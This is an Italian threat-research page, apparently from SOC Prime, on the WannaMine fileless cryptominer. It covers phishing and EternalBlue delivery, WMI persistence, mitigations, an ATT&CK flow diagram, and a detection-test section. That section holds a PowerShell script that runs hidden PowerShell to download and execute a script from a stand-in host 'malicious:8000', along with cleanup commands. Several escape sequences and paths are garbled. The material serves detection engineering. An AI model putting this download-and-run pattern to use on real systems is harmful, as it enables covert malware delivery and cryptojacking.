SOC Prime Bias: Critico

14 Gen 2026 18:14

Analisi di WannaMine Cryptominer: Esecuzione Senza File e Persistenza

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
Analisi di WannaMine Cryptominer: Esecuzione Senza File e Persistenza
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

WannaMine è un worm di cryptomining senza file che si basa su strumenti che sfruttano tecniche prese in prestito dal sistema, principalmente PowerShell e Windows Management Instrumentation (WMI), per rimanere residente in memoria e minare Monero.

Indagine

WannaMine viene distribuito tramite email di phishing che trasportano file batch dannosi o sfruttando la vulnerabilità SMB EternalBlue. Per la persistenza, registra abbonamenti agli eventi WMI e archivia PowerShell codificato in classi WMI personalizzate.

Mitigazione di WannaMine

Impedire lo sfruttamento di EternalBlue applicando patch al SMB (MS17-010). Limitare l’esecuzione di PowerShell e il monitoraggio, controllare la creazione insolita di classi WMI e i consumatori di eventi, e applicare il principio del minimo privilegio per limitare l’abuso delle credenziali.

Risposta

Avvisare su comportamenti anomali di PowerShell/WMI, isolare i dispositivi interessati, rimuovere i consumatori/abbonamenti di eventi WMI dannosi, ruotare le credenziali potenzialmente esposte e effettuare analisi della memoria per confermare la presenza del miner in memoria.

“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing[“<b>Azione</b> – <b>T1566.001 Phishing</b>: Spearphishing con allegato che distribuisce un file batch dannoso”] class action_phishing action action_user_exec[“<b>Azione</b> – <b>T1204 Esecuzione Utente</b>: La vittima esegue il file batch che avvia PowerShell”] class action_user_exec action action_powershell_exec[“<b>Azione</b> – <b>T1059.001 PowerShell</b>: Script PowerShell nascosto determina l’architettura del sistema operativo e scarica il payload”] class action_powershell_exec action action_wmi_persistence[“<b>Azione</b> – <b>T1546.003 Abbonamento ad Evento WMI</b>: Il malware crea classi WMI personalizzate e registra i consumatori di eventi”] class action_wmi_persistence action action_pass_the_hash[“<b>Azione</b> – <b>T1550.002 Pass the Hash</b>: Hash NTLM estratti vengono riutilizzati”] class action_pass_the_hash action action_wmiexec[“<b>Azione</b> – <b>Movimento Laterale via WMIExec</b>: Hash usati per eseguire PowerShell su host remoti”] class action_wmiexec action action_eternalblue[“<b>Azione</b> – <b>T1210 Sfruttamento di Servizi Remoti</b>: EternalBlue (MS17u2011010) usato quando il riutilizzo dell’hash fallisce”] class action_eternalblue action action_defense_evasion[“<b>Azione</b> – <b>T1550 Uso di Materiale di Autenticazione Alternativo</b>: Riutilizzare hash rubati evita richieste di credenziali”] class action_defense_evasion action action_compute_hijacking[“<b>Azione</b> – <b>T1496.001 Dirottamento del Calcolo</b>: Sistema configurato per minare criptovaluta Monero”] class action_compute_hijacking action action_power_settings[“<b>Azione</b> – <b>T1653 Impostazioni di Alimentazione</b>: Gestione energia alterata per prevenire il sonno e mantenere il mining attivo”] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch[“<b>Strumento</b> – <b>Nome</b>: File Batch Dannoso<br/><b>Descrizione</b>: Contenitore per comando iniziale di PowerShell”] class file_batch tool tool_powershell[“<b>Strumento</b> – <b>Nome</b>: PowerShell<br/><b>Descrizione</b>: Motore di scripting usato per scaricare ed eseguire”] class tool_powershell tool tool_wmi[“<b>Strumento</b> – <b>Nome</b>: Windows Management Instrumentation<br/><b>Descrizione</b>: Registra gli abbonamenti agli eventi per la persistenza”] class tool_wmi tool tool_mimikatz[“<b>Strumento</b> – <b>Nome</b>: Modulo Mimikatz<br/><b>Descrizione</b>: Estrae hash NTLM dalla memoria”] class tool_mimikatz tool tool_wmiexec[“<b>Strumento</b> – <b>Nome</b>: WMIExec<br/><b>Descrizione</b>: Esegue comandi su macchine remote tramite WMI”] class tool_wmiexec tool exploit_eternalblue[“<b>Strumento</b> – <b>Nome</b>: Exploit EternalBlue<br/><b>Descrizione</b>: Sfrutta la vulnerabilità SMB MS17u2011010”] class exploit_eternalblue tool malware_payload[“<b>Malware</b> – <b>Nome</b>: Payload Personalizzato<br/><b>Descrizione</b>: Componente scaricato che esegue il mining”] class malware_payload malware process_download[“<b>Processo</b> – <b>Nome</b>: Download Payload Remoto<br/><b>Descrizione</b>: Recupera il binario appropriato per l’architettura del sistema operativo”] class process_download process process_mining[“<b>Processo</b> – <b>Nome</b>: Miner Monero<br/><b>Descrizione</b>: Consuma cicli CPU per il mining di criptovaluta”] class process_mining process %% Connections u2013 Attack Flow action_phishing u002du002d>|distribuisce| file_batch file_batch u002du002d>|eseguito_dall’utente| action_user_exec action_user_exec u002du002d>|attiva| action_powershell_exec action_powershell_exec u002du002d>|usa| tool_powershell action_powershell_exec u002du002d>|scarica| process_download process_download u002du002d>|memorizza_come| malware_payload malware_payload u002du002d>|crea| action_wmi_persistence action_wmi_persistence u002du002d>|utilizza| tool_wmi action_wmi_persistence u002du002d>|estrae_hash_con| tool_mimikatz tool_mimikatz u002du002d>|abilita| action_pass_the_hash action_pass_the_hash u002du002d>|abilita| action_wmiexec action_pass_the_hash u002du002d>|ricorre_a| action_eternalblue action_wmiexec u002du002d>|esegue_mossa_laterale| process_mining action_eternalblue u002du002d>|sfrutta| exploit_eternalblue exploit_eternalblue u002du002d>|ottiene_accesso_per| process_mining process_mining u002du002d>|porta_a| action_defense_evasion action_defense_evasion u002du002d>|abilita| action_compute_hijacking action_compute_hijacking u002du002d>|modifica| action_power_settings “

Flusso di Attacco

Esecuzione della Simulazione

Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere passato.

Ragione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrativa dell’Attacco & Comandi:
    Un attaccante guadagna esecuzione di codice remoto su un endpoint Windows. Per evitare interazioni con l’utente, avviano PowerShell in una finestra nascosta (-W Hidden) senza profilo (-NoP) e non‑interattivo (-NonI). Il comando utilizza IEX per scaricare un payload PowerShell da un server HTTP malevolo (http://malicious:8000/in6.ps1). Lo script scaricato registra una classe WMI chiamata Office_Updater sotto rootdefault che memorizza una proprietà mon contenente un miner Monero codificato in Base64. L’attaccante quindi legge la proprietà tramite [WmiClass] e la invoca, lanciando di fatto il cryptominer senza creare un nuovo processo. Questa sequenza corrisponde alle tre sottostringhe della riga di comando della regola di rilevamento.

  • Script di Test di Regressione:

    #-------------------------------------------------
    # Simula esecuzione fileless cryptominer WannaMine
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Esecuzione di PowerShell nascosto, non‑interattivo
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Invoca il comando (questo è ciò che eseguirebbe l'attaccante)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Nota: Si presume che lo script remoto (in6.ps1) crei la classe WMI
    # con una proprietà "mon" contenente il codice di mining.
  • Comandi di Pulizia:

    # Rimuovi la classe WMI dannosa
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Ferma eventuali processi di miner PowerShell residui (se esistenti)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Opzionale: Cancella file di trascrizione/log di PowerShell creati durante il test
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue